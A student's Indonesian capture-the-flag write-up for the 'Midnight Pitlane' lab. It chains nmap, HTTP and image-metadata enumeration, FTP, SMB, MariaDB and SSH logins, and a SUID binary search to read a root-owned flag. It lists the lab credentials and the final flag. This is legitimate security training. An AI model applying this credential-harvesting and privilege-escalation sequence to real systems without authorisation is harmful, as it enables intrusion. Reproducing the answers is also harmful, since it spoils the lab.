

WRITE UP LAB VPS

LAS WEEK 4 (CS)

MBC LAB 2026



NAMA: MUHAMMAD ILYAS SYARIEF

ID CAAS: 2644

TELKOM UNIVERSITY

BANDUNG

2026

DAFTAR ISI

DAFTAR ISI.....	2
1.INFORMASI UNUM.....	3
2.KREDENSIAL.....	3
3.WSL.....	3
4.SERVICE ENUMERATION.....	3
5.HTTP ENUMERATION.....	4
6.FTP.....	5
7.SMB.....	6
8.MARIADB.....	7
9.SSH.....	9
10. LOCAL LINUX ENUMERATION.....	9
11. PRIVILEGE-ESCALATION.....	10
12.BATASAN READER.....	11
13.KESIMPULAN.....	11

1. Informasi Challenge

Item	Detail
Nama Challenge	Midnight Pitlane
Kategori	Linux Privilege Escalation
Target	10.77.4.104
Jaringan	Private WireGuard lab network
Tujuan	Mendapatkan non-root foothold dan membaca protected root-owned final report melalui controlled SUID binary

2. Kredensial

Service	Username	Access Phrase
FTP	suprafast	ToyotaMK42JZ
SMB	gazzoracing	GRrallyTeam
MariaDB	telemetry_reader	TrackData35
SSH	gtracing	NismoR35

3. WSL

Untuk memulai challenge di sini saya memakai kali WSL dan menggunakan target IP 10.77.4.104.

```
Ilyas@HyperX mnt/.. ➤ ./ilyas >$ ping 10.77.4.104
PING 10.77.4.104 (10.77.4.104) 56(84) bytes of data.
64 bytes from 10.77.4.104: icmp_seq=1 ttl=63 time=87.4 ms
64 bytes from 10.77.4.104: icmp_seq=2 ttl=63 time=88.0 ms
64 bytes from 10.77.4.104: icmp_seq=3 ttl=63 time=88.7 ms
64 bytes from 10.77.4.104: icmp_seq=4 ttl=63 time=87.9 ms
^C
--- 10.77.4.104 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 87.350/87.979/88.659/0.465 ms
Ilyas@HyperX mnt/.. ➤ ./ilyas >$ |
```

4. Service Enumeration

Pertama saya melakukan scanning service dan port yang terbuka di dalam lab menggunakan nmap:

```

~ Ilyas@HyperX mnt/..../ilyas >$ nmap -sV -A 10.77.4.104
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-02 19:35 +0700
Nmap scan report for 10.77.4.104
Host is up (0.088s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
22/tcp    open  OpenSSH 9.6p1 Ubuntu Subuntu13.18 (Ubuntu Linux; protocol 2.0)
SSH-hostkey:
| 256 48:11:b8:14:96:46:7a:92:fc:64:46:d4:6d:ca:03:dc (ECDSA)
|_ 256 21:1c:c4:04:49:68:1a:21:92:2d:f5:c9:44:b4:df:8c (ED25519)
80/tcp    open  http    nginx 1.24.0 (Ubuntu)
|_ http-title: Midnight Racing Garage
|_ http-robots.txt: 1 disallowed entry
|_/garage/
|_ http-server-header: nginx/1.24.0 (Ubuntu)
139/tcp   open  netbios-ssn Samba smbd 4
445/tcp   open  netbios-ssn Samba smbd 4
3306/tcp  open  mysql    MariaDB 5.5.5-10.11.14
|_ mysql-info:
|_ Protocol: 10
|_ Version: 5.5.5-10.11.14-MariaDB-Subuntu0.24.04.1
|_ Thread ID: 44
|_ Capabilities flags: 65486
|_ Some Capabilities: longColumnFlag, Support4Auth, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolNew, FoundRows, ODBCClient, DontAllowDatabase
eTableColumn, InteractiveClient, SupportsTransactions, IgnoreSigpipes, ConnectWithDatabase, SupportsAuthPlugins, SupportsMultipleStatements
|_ Status: Autocommit
|_ Salt: *!J#m#*2!Dv08!2Vw67
|_ Auth Plugin Name: mysql_native_password
Device type: general purpose
Running: Linux 5.x
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.11 - 5.15
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ smb2 time:
|_ date: 2026-09-02T12:35:44
|_ start date: N/A
|_ clock skew: 1s
|_ nbstat: NetBIOS name: JUSTTRY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ smb2-security-mode:
|_ 3.1.1:
|_ Message signing enabled but not required

TRACEROUTE
HOP RTT ADDRESS
1 87.77 ms 10.77.4.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.24 seconds
~ Ilyas@HyperX mnt/..../ilyas >$

```

Dan di dalam lab tersebut terlihat beberapa service/port yang dapat di gunakan untuk masuk ke dalam lab tersebut, seperti: SSH, SMB, FTP, HTTP, MYSQL

5. HTTP Enumeration

Melihat port yang terbuka, port 80 atau HTTP yang sangat memungkinkan untuk pertama kali masuk atau melihat clue selanjutnya.

Buka halaman utama: `curl http://10.77.4.104/`

```

<body>
  <h1>Midnight Racing Garage</h1>

  <div class="card">
    <p>The internal race infrastructure migration is nearly complete.</p>
    <p>Current development vehicles:</p>
    <ul>
      <li>MK4 Development Car</li>
      <li>GR Rally Car</li>
      <li>R35 Track Car</li>
    </ul>
  </div>

  <div class="card">
    <p>The MK4 inspection crew recently uploaded a pre-race photograph.</p>
    <p>All garage media must retain archival ownership and transfer information.</p>
  </div>
</body>
</html>

```

Periksa robots.txt:

```

~ Ilyas@HyperX mnt/..../ilyas >$ curl http://10.77.4.104/robots.txt
User-agent: *
Disallow: /garage/
~ Ilyas@HyperX mnt/..../ilyas >$ |

```

si sini terlihat ada endpoint /garage/

Buka halaman garage:

```

~ Ilyas@HyperX mnt/..../ilyas >$ curl http://10.77.4.104/garage/
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>MK4 Inspection Archive</title>
</head>
<body>
  <h1>MK4 Pre-Race Inspection</h1>
  <p>Uploaded by the MK4 archive crew.</p>
  <p>Remember: vehicle media retains archival information even after publication.</p>
  supra-inspection.webp
</body>
</html>
~ Ilyas@HyperX mnt/..../ilyas >$ |

```

di endpoint /garage/ terlihat ada gambar supra-inspection.webp yang kemungkinan di dalamnya atau di metadata nya terdapat clue selanjutnya.

Unduh gambar: wget http://10.77.4.104/garage/supra-inspection.webp

```

~ Ilyas@HyperX mnt/..../ilyas >$ wget http://10.77.4.104/garage/supra-inspection.webp
--2026-09-02 19:45:41-- http://10.77.4.104/garage/supra-inspection.webp
Connecting to 10.77.4.104:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 62868 (61K) [image/webp]
Saving to: 'supra-inspection.webp.2'

supra-inspection.webp.2      100%[=====] 61.39K  359KB/s  in 0.2s
2026-09-02 19:45:41 (359 KB/s) - 'supra-inspection.webp.2' saved [62868/62868]

```

Periksa metadata:

```

~ Ilyas@HyperX mnt/..../ilyas >$ exiftool -a -G1 -s supra-inspection.webp
[ExifTool]      ExifToolVersion      : 13.55
[System]        FileName                : supra-inspection.webp
[System]        Directory              : .
[System]        FileSize               : 63 kB
[System]        FileModifyDate         : 2026:09:01 07:39:16+07:00
[System]        FileAccessDate        : 2026:09:01 20:23:13+07:00
[System]        FileInodeChangeDate    : 2026:09:01 20:23:13+07:00
[System]        FilePermissions       : -rwxrwxrwx
[File]          FileType              : Extended WEBP
[File]          FileTypeExtension      : webp
[File]          MIMEType               : image/webp
[File]          ExifByteOrder          : Big-endian (Motorola, MM)
[RIFF]          WebP_Flags             : XMP, EXIF
[RIFF]          ImageWidth             : 900
[RIFF]          ImageHeight            : 600
[RIFF]          VP8Version              : 0 (bicubic reconstruction, normal loop)
[RIFF]          ImageWidth             : 900
[RIFF]          HorizontalScale        : 0
[RIFF]          ImageHeight            : 600
[RIFF]          VerticalScale          : 0
[IFD0]          XResolution            : 72
[IFD0]          YResolution            : 72
[IFD0]          ResolutionUnit         : inches
[IFD0]          Artist                 : SupraFast
[IFD0]          YCbCrPositioning       : Centered
[XMP-x]          XMPToolkit            : Image::ExifTool 12.76
[XMP-dc]         Creator               : SupraFast
[XMP-dc]         Description            : Archive service: FTP | Crew: suprafast | Access phrase: ToyotaMK42JZ
[XMP-dc]         Title                 : MK4 Pre-Race Inspection
[XMP-photoshop] Instructions           : Transfer the inspection record to the legacy pit archive.
[Composite]     ImageSize              : 900x600
[Composite]     Megapixels             : 0.540
~ Ilyas@HyperX mnt/..../ilyas >$ |

```

Dan terlihat bahwa di dalam metadata gambar tersebut menyimpan kredensial user untuk masuk ke dalam lab-Nya melalui service FTP.

Kredensial:

```

[XMP-dc]      Creator      : SupraFast
[XMP-dc]      Description  : Archive service: FTP | Crew: suprafast | Access phrase: ToyotaMK42JZ
[XMP-dc]      Title       : MK4 Pre-Race Inspection

```

6. FTP

Login FTP menggunakan kredensial yang sudah ditemukan sebelumnya:

```

Ilyas@HyperX mnt/..➡../ilyas >$ ftp 10.77.4.104
Connected to 10.77.4.104.
220 (vsFTPd 3.0.5)
Name (10.77.4.104:Ilyas): suprafast
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> |

```

di dalam user tersebut terdapat direktori pit-archive:

```

ftp> ls
229 Entering Extended Passive Mode (||||40009|)
150 Here comes the directory listing.
drwxr-xr-x  2 0      0              4096 Sep 01 00:47 pit-archive
226 Directory send OK.
ftp> cd pit-archive
250 Directory successfully changed.

```

dan di dalam direktori tersebut terdapat 2 file, yaitu: crew-handover.txt dan vehicle-checklist.txt:

```

ftp> ls
229 Entering Extended Passive Mode (||||40000|)
150 Here comes the directory listing.
-rw-r--r--  1 0      0              313 Sep 01 00:46 crew-handover.txt
-rw-r--r--  1 0      0              122 Sep 01 00:47 vehicle-checklist.txt
226 Directory send OK.

```

ternyata di dalam file crew-handover.txt terdapat kredensial selanjutnya:

```

Ilyas@HyperX mnt/..➡../ilyas >$ cat crew-handover.txt
MIDNIGHT RACING TEAM
PIT CREW HANDOVER NOTE

The MK4 pre-race inspection has been completed.

GR crew documents were transferred to the shared pit drive.

Service      : SMB
Share name   : PitCrew
Crew account  : gazzoracing
Access phrase : GRrallyTeam

```

Terlihat kredensial user selanjutnya dan masuk menggunakan service SMB

7. SMB

Login ke SMB menggunakan smbclient dan kredensial yang sudah di temukan sebelumnya:


```

~ Ilyas@HyperX mnt/..../ilyas >$ smbclient -L //10.77.4.104 -U gazzoracing
Password for [WORKGROUP\gazzoracing]:

  Sharename      Type            Comment
  -----
  PitCrew        Disk            Midnight Racing Pit Crew Share
  IPC$           IPC             IPC Service (Samba 4.19.5-Ubuntu)

Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.77.4.104 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
~ Ilyas@HyperX mnt/..../ilyas >$ |

```

dan terlihat ada akses share ke Pitcrew, kemudian masuk ke Pitcrew menggunakan kredensial yang sama:

```

~ Ilyas@HyperX mnt/..../ilyas >$ smbclient //10.77.4.104/PitCrew -U gazzoracing
Password for [WORKGROUP\gazzoracing]:
Try "help" to get a list of possible commands.
smb: \> |

```

didalam-Nya terdapat 3 file:

```

smb: \> ls
.                D            0   Tue Sep  1 09:59:39 2026
..               D            0   Tue Sep  1 09:59:39 2026
telemetry-client.conf  N          133  Tue Sep  1 07:58:19 2026
r35-maintenance.txt   N          134  Tue Sep  1 09:59:39 2026
telemetry-readme.txt   N          376  Tue Sep  1 09:59:39 2026

63911928 blocks of size 1024. 61231872 blocks available
smb: \> |

```

dan di dalam file telemetry-client.conf terdapat kredensial selanjutnya:

```

~ Ilyas@HyperX mnt/..../ilyas >$ cat telemetry-client.conf
[telemetry]
host=10.77.4.104
port=3306
database=race_telemetry
username=telemetry_reader
password=TrackData35
permission=SELECT_ONLY

```

kredensial yang ditemukan dapat digunakan untuk mengakses database

8. MariaDB

Login ke database:

```

~ Ilyas@HyperX mnt/..../ilyas >$ mariadb \
--protocol=TCP \
--skip-ssl \
-h 10.77.4.104 \
-u telemetry_reader \
-p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 56
Server version: 10.11.14-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> |

```

Kemudian melihat yang ada di dalam database:

```

MariaDB [(none)]> SHOW DATABASES;
+-----+
| Database |
+-----+
| information_schema |
| race_telemetry |
+-----+
2 rows in set (0.089 sec)

MariaDB [(none)]> |

```

didalam-Nya terdapat data balapan dan masuk ke dalam data tersebut:

```

MariaDB [(none)]> USE race_telemetry;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [race_telemetry]> SHOW TABLES;
+-----+
| Tables_in_race_telemetry |
+-----+
| approved_drivers |
| lap_records |
+-----+
2 rows in set (0.090 sec)

MariaDB [race_telemetry]> |

```

didalam-Nya terdapat dua data dan salah satunya terdapat kredensial untuk masuk ke user selanjutnya:

```

MariaDB [race_telemetry]> SELECT * FROM approved_drivers;
+----+-----+-----+-----+-----+
| id | ssh_driver | vehicle | access_phrase | status |
+----+-----+-----+-----+-----+
| 2 | gtracing | Nismo R35 | NismoR35 | active |
+----+-----+-----+-----+-----+
1 row in set (0.090 sec)

```

Terlihat di dalam data approved_drivers terdapat kredensial untuk masuk ke user selanjutnya

Berdasarkan clue di file telemetry-readme.txt setelah mendapatkan kredensial dari data approved_drivers selanjutnya masuk melalui service SSH

```

~ Ilyas@HyperX mnt/.../ilyas >$ cat telemetry-readme.txt
MIDNIGHT RACING TEAM
R35 TELEMETRY MIGRATION

The R35 telemetry service was migrated to MariaDB.

Database host : 10.77.4.104
Database port : 3306
Database name : race_telemetry

Use the read-only telemetry client configuration included
in this directory.

The active SSH race engineer account is recorded in the
approved_drivers table.

No database modification is required.

```


9. SSH

Masuk ke lab melalui service SSH menggunakan kredensial yang sudah di temukan sebelumnya:

```
~ Ilyas@HyperX mnt/..$ ssh gtracing@10.77.4.104
gtracing@10.77.4.104's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-1022-azure x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Wed Sep  2 13:18:43 UTC 2026

System load:  0.0          Processes:    129
Usage of /:   4.2% of 60.95GB Users logged in:  0
Memory usage: 44%         IPv4 address for eth0: 10.1.1.4
Swap usage:   0%

 * Canonical Workshop gives developers fast, composable, reproducible, and
   secure developer environments that are perfect for agentic workflows.

   https://ubuntu.com/workshop

1 device has a firmware upgrade available.
Run 'fwupdmgmt get-upgrades' for more information.

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

1 device has a firmware upgrade available.
Run 'fwupdmgmt get-upgrades' for more information.

Last login: Wed Sep  2 01:13:28 2026 from 10.77.4.104
gtracing@JustTry:~$
```

Periksa id user yang dapat melihat user tersebut di dalam group berapa:

```
gtracing@JustTry:~$ id
uid=1003(gtracing) gid=1003(gtracing) groups=1003(gtracing)
gtracing@JustTry:~$
```

Terlihat user hanya masuk sebagai user biasa dan group biasa, bukan admin

10. Local Linux Enumeration

Lihat isi home directory:

```
gtracing@JustTry:~$ ls -la
total 36
drwxr-xr-x 3 gtracing gtracing 4096 Sep  1 18:08 .
drwxr-xr-x 6 root      root    4096 Sep  1 00:11 ..
-rw-r--r-- 1 gtracing gtracing 427 Sep  2 02:54 .bash_history
-rw-r--r-- 1 gtracing gtracing 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 gtracing gtracing 3771 Mar 31 2024 .bashrc
drwxr-xr-x 2 gtracing gtracing 4096 Sep  1 01:18 .cache
-rw-r--r-- 1 gtracing gtracing 20 Sep  1 18:08 .lessshst
-rw-r--r-- 1 gtracing gtracing 807 Mar 31 2024 .profile
-rw-r--r-- 1 gtracing gtracing 422 Sep  1 02:59 final-inspection.txt
gtracing@JustTry:~$ cat final-inspection.txt
R35 FINAL INSPECTION

The final race report is protected by the track administration
account and cannot be accessed directly by race engineers.

During the infrastructure migration, a diagnostic reader was
installed so engineers could validate protected race reports
without modifying the original files.

Review unusual locally installed racing utilities and their
Linux permissions.

No system modification is required.
gtracing@JustTry:~$
```

Terlihat di dalam home direktori terdapat file final-inspection.txt, yang isi nya adalah clue untuk menemukan flag terakhir.

Periksa hak akses sudo:

```
gtracing@JustTry:~$ sudo -l
[sudo] password for gtracing:
Sorry, user gtracing may not run sudo on JustTry.
gtracing@JustTry:~$ |
```

terlihat bahwa user gtracing tidak mempunyai izin menjalankan perintah apa pun melalui sudo.

Cari SUID executables:

```
gtracing@JustTry:~$ find / -perm -4000 -type f 2>/dev/null
/opt/midnight-racing/bin/race-report-reader
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/mount.cifs
/usr/bin/chsh
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/passwd
gtracing@JustTry:~$ |
```

Setelah mengecek SUID executables terdapat file yang janggal, yaitu: /opt/midnight-racing/bin/race-report-reader.

Coba periksa permission-Nya:

```
gtracing@JustTry:~$ ls -la /opt/midnight-racing/bin/race-report-reader
-rwsr-xr-x 1 root root 16320 Sep  1 01:18 /opt/midnight-racing/bin/race-report-reader
gtracing@JustTry:~$ |
```

Berdasarkan informasi tersebut terlihat bahwa program tersebut dimiliki oleh user root, akan tetapi terlihat bahwa program tersebut bisa dijalankan oleh user lain.

11. Privilege-Escalation

Jalankan controlled SUID reader:

```
gtracing@JustTry:~$ /opt/midnight-racing/bin/race-report-reader
MIDNIGHT RACING FINAL REPORT

Vehicle : R35 Track Car
Status  : Cleared for the final lap

MBC{Midnight_Pitlane_Final_Lap}
gtracing@JustTry:~$ |
```

Final flag: MBC{Midnight_Pitlane_Final_Lap}

Mengapa Ini Privilege Escalation?

Karena Interactive shell pemain tetap berjalan sebagai gtracing. Namun, race-report-reader dimiliki oleh root dan memiliki SUID bit. Saat dijalankan, proses memperoleh

effective privilege pemilik binary dan dapat membaca satu fixed root-owned file yang tidak dapat dibaca langsung oleh gtracing.

Jalur ini merupakan controlled privilege-escalation proof, bukan unrestricted root shell.

12. Batasan Reader

Reader dirancang agar:

- Hanya membuka /root/final-race-report.txt.
- Membuka file dalam mode read-only.
- Tidak menerima arbitrary path.
- Tidak menerima command.
- Tidak menjalankan shell.
- Tidak menggunakan user-controlled environment untuk memilih file.
- Tidak mengubah permission atau service.
- Tidak menulis file.

13. Kesimpulan

Challenge Midnight Pitlane berhasil diselesaikan secara end-to-end melalui enumerasi HTTP, FTP, SMB, MariaDB, dan SSH hingga memperoleh foothold sebagai user non-root gtracing. Pemain kemudian menemukan custom SUID binary yang dapat membaca final report milik root dan menampilkan flag.